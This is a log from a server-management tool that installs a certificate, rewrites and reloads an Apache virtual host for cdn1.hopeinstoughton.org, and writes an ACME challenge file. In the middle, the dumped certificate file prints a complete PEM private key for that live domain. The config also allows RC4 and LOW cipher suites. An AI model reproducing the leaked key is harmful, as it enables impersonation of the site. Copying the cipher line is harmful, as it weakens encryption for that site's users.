AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-14 06:02:10: 

chmod 755 /tmp/pkp651530; /tmp/pkp651530; rm /tmp/pkp651530

2026-05-14 06:02:10: 


dir=/etc/ssl/certs


2026-05-14 06:02:10: 

PUT: /tmp/pkp626634

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-14 06:02:10: 

chmod 755 /tmp/pkp626634; /tmp/pkp626634; rm /tmp/pkp626634

2026-05-14 06:02:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 48

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-05-14 06:02:10: 

PUT: /tmp/pkp360271

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn1_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf= 1'
fi


2026-05-14 06:02:10: 

chmod 755 /tmp/pkp360271; /tmp/pkp360271; rm /tmp/pkp360271

2026-05-14 06:02:10: 




2026-05-14 06:02:10: 

PUT: /tmp/pkp400339

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-14 06:02:10: 

chmod 755 /tmp/pkp400339; /tmp/pkp400339; rm /tmp/pkp400339

2026-05-14 06:02:10: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-14 06:02:10: Establishing a connection
2026-05-14 06:02:10: 

PUT: /tmp/pkp681180

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-14 06:02:11: 

chmod 755 /tmp/pkp681180; /tmp/pkp681180; rm /tmp/pkp681180

2026-05-14 06:02:11: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-14 06:02:11: 

PUT: /tmp/pkp613303

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-14 06:02:11: 

chmod 755 /tmp/pkp613303; /tmp/pkp613303; rm /tmp/pkp613303

2026-05-14 06:02:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf	1656

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-05-14 06:02:11: 

PUT: /tmp/pkp383906

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-14 06:02:11: 

chmod 755 /tmp/pkp383906; /tmp/pkp383906; rm /tmp/pkp383906

2026-05-14 06:02:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt	5372
99:86:35:7f:d7:8c:cb:e6:a0:8b:e8:75:bc:5b:3c:c4

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBa+6+td79S445deHAIvh0iyfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE0MDUwMzM5WhcNMjYwODEyMDUwMzM4WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDkOMqK2Rac0rUmPx/KE924jgVmc6olZI+sVDxXR9P5JINyKgZB
TmeWqTWNb8s5AphP3fKOdOe9iWMyIkpLg7fQZPDbUzpcRebl3hmDtIrJ1xvP04mE
QIejrnBDU7x9x8BYopigSSUhMODVxriOzDzZtSH0J+j2Pgjjm89XgXBPBCzWJLu+
+ZB8MlvkpltVPUd2pCXANmx1p4GMR499CZsAAgiCWJ1EwoAJnyTFkOVAY2b+CYwK
XyrAVk1aP2ESMrYRvVA+abaQJkABFHskZwl4lBNkG1ravq5gUArzQwTP3iMjesQY
+4kCP8HI2LoAtB10G9yQVatjynbr95Z4kP07AgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUTcVb4wQ+6eaBHKznX/X7z8/u2nowHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4xLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8zMi5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7
APkAdgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ4lFAReAAAE
AwBHMEUCICcRdERlrDD/jH7jDxGoLr3uS6ze6LgU1kDkMMIRBOrZAiEA3ubVzwbU
MHTwWNBkkU30PEeHjfvsBs6I8cNxoL9XtTgAfwBGr4Y9Oz7ln6V33qgkXTaw2e0i
oiP0YXdBIpRS7pVQXwAAAZ4lFAT6AAgAAAUABpAi3gQDAEgwRgIhAOJkdQK0HPFc
IZQi2VSecYTuLSt7vpgWCD/LUBQpUOToAiEA2p7UjqWfv58La3xZDZ9h3bLLeeDd
1+DwtkO6KEi5H9kwDQYJKoZIhvcNAQELBQADggEBACsVIJ6A39thNU13XadYUurB
rS9CabTsrjrGxxgcWPimM5aIzM4CbphXSyx0zL4oVW+C/N4dMWsEdlNbyVhKnUtG
53PEzPAjYhwyQyOMNms6RnNVyubz4rSbnSRVtFWTTZJyF18fiUiMU/1nIxiurabf
arMGTBj5sn6SbaSlITZZb45q+O3CtnwlJyOhglMaqMNXdRAdpmKoBkJ2FcBNoswj
ySLGzuPOJQ1OgEgve/PPZf7V6Q6lc4tx0Yt4Gn2VuDfs624e7FWywsVo33AVBKGr
iELrD2KKVoaOt45EHZPZgq5pQyIf07C/2T5mQ227fMzdCgs+CieU/QFq8462uR8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDkOMqK2Rac0rUm
Px/KE924jgVmc6olZI+sVDxXR9P5JINyKgZBTmeWqTWNb8s5AphP3fKOdOe9iWMy
IkpLg7fQZPDbUzpcRebl3hmDtIrJ1xvP04mEQIejrnBDU7x9x8BYopigSSUhMODV
xriOzDzZtSH0J+j2Pgjjm89XgXBPBCzWJLu++ZB8MlvkpltVPUd2pCXANmx1p4GM
R499CZsAAgiCWJ1EwoAJnyTFkOVAY2b+CYwKXyrAVk1aP2ESMrYRvVA+abaQJkAB
FHskZwl4lBNkG1ravq5gUArzQwTP3iMjesQY+4kCP8HI2LoAtB10G9yQVatjynbr
95Z4kP07AgMBAAECggEACzvCYyA5YoxlOes3K4axI1xA5stAWj5/az+ViBmd1PBs
/z8TTL6eZFuS1RHmImRpeTDsYgJeGnBl72ShseLbYYi+aZqd+kcUjPGoNtk5paK5
beWJ1MvVAVkHket6u9mLswaEgGCT+8oV9F/SMMaGeOmCBixlZU17ZDIEptgqXjE3
bujY2bvg4qVc7doAMe1mtYUsdYbBsOsFXCcLlhOR2O3yPA9/bUIECLH1WtQq9q80
GF5P6ZWIXJNNt+0we8PsuQZT7+N5hPV+qXTRWm5znuzhVDgfOoG6KQgx4bqYcfgy
CNei+RebGxH6wtbnpPTcG/Cu/MluB/1rJsP6I/YyUQKBgQD8nkwJobjuP/q9MjVV
p0yt4r/QMb8+zBKxTVFfa6E184xDh8yPcs4+NcKw72oyUcBHV8y54UH4hHJnv1T9
/OuJmIyE4rsKIColTxsGWDMw/HC34DISM67m+5j6WyvB6Qr/4zvFDkXs0CdYoC1o
eTpyZUU1yZrIqSPfeaH70is1kQKBgQDnRuOnNYtyZ/N1H0ZxNC6Hb+YHYolID980
OZYDAjl8dbGUhBx9LkDr6ucEPAiV2HFoxfZT2u+sus/3tQ79+D1jE56vAnnoLIBz
7OngkwbAjfsMmQZVXcbcYGosJqzJdqcDek9wNAyjbgtow2FbWrP6l4Zin0giHfx1
3O4j5MKwCwKBgQDGIzbKmzEclcwJ1zaj/vuSq3X9SveQvqmurVE0wYuJcIREd2AH
52lCvBH/i1lFLH/etUvbQ4Xl8aR2IUj9igIIQ0F7/QXtNDs6ViiBOm60blvOrSc4
xZbajt53B0lz52B8QfOgZMiNrNoflkrnVaZ1EV9Oh9lCp/9+Cb32cOr5MQKBgFvY
MQv0HZ6fXXWDqAvItzmd3HHOVcpCU1eADuy+82lTq+PY2x9zQODvdjKeTKKFQ/Rh
uULvzQKBZZlvU7bT4Dz6S6ggiZ0EHzbqPK6sdJ//QlVsZ7F6/kACIefKrA+NiSG+
btGWOfak+u7tuDn5OUQo7Hs52gGCewGrbP7gF9ilAoGBAJ6q3v/gTHA09yfJqyFb
Ja+VFDNPPGMmeLpyB9eIm338SPAfPRPLD+g7RnM5dcbbwvTBCbWCUrhehcFOERWq
n0mKvTN5+W9xOL6IyiaroK+YlpbgUOapRzWdmirp2dq0rYY9bBBYQhwikoItYs02
WTnv0Nn1/zMHZywLqAe/zhVN
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-14 06:02:11: Establishing a connection
2026-05-14 06:02:11: Establishing a connection
2026-05-14 06:02:11: 

PUT: /tmp/pkp736062

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-14 06:02:12: 

chmod 755 /tmp/pkp736062; /tmp/pkp736062; rm /tmp/pkp736062

2026-05-14 06:02:12: 


1


2026-05-14 06:02:12: Establishing a connection
2026-05-14 06:02:12: 

PUT: /tmp/pkp492440

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > KmUxFla2l8ipdpXKasWhD04Fe-rOE2PrMV8uIoU1HnI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KmUxFla2l8ipdpXKasWhD04Fe-rOE2PrMV8uIoU1HnI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KmUxFla2l8ipdpXKasWhD04Fe-rOE2PrMV8uIoU1HnI


2026-05-14 06:02:12: 

chmod 755 /tmp/pkp492440; /tmp/pkp492440; rm /tmp/pkp492440

2026-05-14 06:02:12: 




2026-05-14 06:02:14: Establishing a connection
2026-05-14 06:02:14: Establishing a connection
2026-05-14 06:02:14: 

PUT: /tmp/pkp682760

#!/bin/bash
